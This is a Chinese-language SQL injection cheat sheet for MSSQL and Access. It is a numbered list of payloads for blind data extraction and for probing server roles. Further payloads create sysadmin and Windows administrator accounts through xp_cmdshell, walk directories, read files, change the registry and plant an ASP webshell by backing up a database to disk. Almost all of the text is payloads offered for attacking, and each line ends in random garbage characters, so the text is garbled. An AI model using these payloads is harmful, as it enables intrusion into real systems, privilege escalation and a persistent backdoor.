1.判断是否有注入;and 1=1 ;and 1=2 H?^#zj`Ex+
2.初步判断是否是mssql ;and user>0 XFe7qt;%
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3.注入参数是字符'and [查询条件] and ''=' YU,:3{9,
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' YYh_lAS>
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5.判断数据库系统 cY]Y8T)
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;and (select count(*) from sysobjects)>0 mssql j7+t@DqQ
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;and (select count(*) from msysobjects)>0 access 4^^rOi0
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ghj~r
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 E-iBA (H
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ?zu{&aOX|
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9.(1)猜字段的ascii值(access) a$O]'}]`
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Y@Y(;C"SW
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(2)猜字段的ascii值(mssql) 9r#{s Y
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 r2'rfpQ
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10.测试权限结构(mssql) 9X` QlJ2|
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Z$XpoDbOy
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- L:Eb(z/D
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ybO,~TQ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Z?mg1;Q
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- p2(_YN;s
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -"H4brj;G
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;and 1=(select IS_MEMBER('db_owner'));-- eR`<9KBH
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11.添加mssql和系统的帐户 !
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;exec master.dbo.sp_addlogin username;-- i`'^ zR(`i
;exec master.dbo.sp_password null,username,password;-- H-w|JH>g
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^W'[l al.
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;exec master.dbo.xp_cmdshell 'net user username password hspg-|R
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- eMzCAO
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- v2sU$M
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- R?s\0
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12.(1)遍历目录 1}*;
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;create table dirs(paths varchar(100), id int) p>S/6 [X
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Z+(V \
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;and (select top 1 paths from dirs)>0 FG:BRS<m~
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) zK?[dO
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(2)遍历目录 I_7EfAqg(
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- q2vz#\A?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 fM.|#eLi
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 s#ZH.z@J
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7gcG|kKT
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 @x
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13.mssql中的存储过程 cU|jT8Q4H
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xp_regenumvalues 注册表根键, 子键 *pp1Wa7O
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 +9CUnRv
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xp_regread 根键,子键,键值名 ]5/U}Um
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 e]h'
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xp_regwrite 根键,子键, 值名, 值类型, 值 ifZNl,
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ,$$$_+m\
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 !H\GHA'DO]
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xp_regdeletevalue 根键,子键,值名 [zEP|
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ped Yf{T
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 hATy3*4
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14.mssql的backup创建webshell pUG fm
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use model *?Ef}:]
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create table cmd(str image); X(28xbd|
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insert into cmd(str) values (''); 1G.gPx[
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backup database model to disk='c:\l.asp'; 1:UC\ WW
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15.mssql内置函数 f`=T@nA
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;and (select @@version)>0 获得Windows的版本号 dvF48,kr
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ?<^AXLiKV
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;and (select user_name())>0 爆当前系统的连接用户 q|l|mO
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;and (select db_name())>0 得到当前连接的数据库 j)6B^!
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16.简洁的webshell K/m)f#
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use model )uuEOF"w
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create table cmd(str image); D-:<]D:
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insert into cmd(str) values (''); 5THS5'
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backup database model to disk='g:\wwwtest\l.asp';